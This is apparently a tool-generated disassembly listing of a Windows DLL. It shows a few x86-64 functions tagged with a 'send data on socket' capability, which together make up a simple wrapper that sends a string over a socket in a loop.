call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x18000289b

Function at 0x1800029c8
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rdx, rbx
mov rcx, rdi
mov r8d, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1800029fc

Function at 0x1800029fc
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
cmp dword [0x180003284], ebx
mov rsi, rdx
mov rbp, rcx
je 0x180002a2f
lea rcx, [0x1800032a0]
call fcn.180002c28
test edi, edi
jle 0x180002a5a
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov ecx, eax
inc eax
cmp eax, 1
jbe 0x180002a74
add ebx, ecx
cmp ebx, edi
jl 0x180002a33
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x180002a5f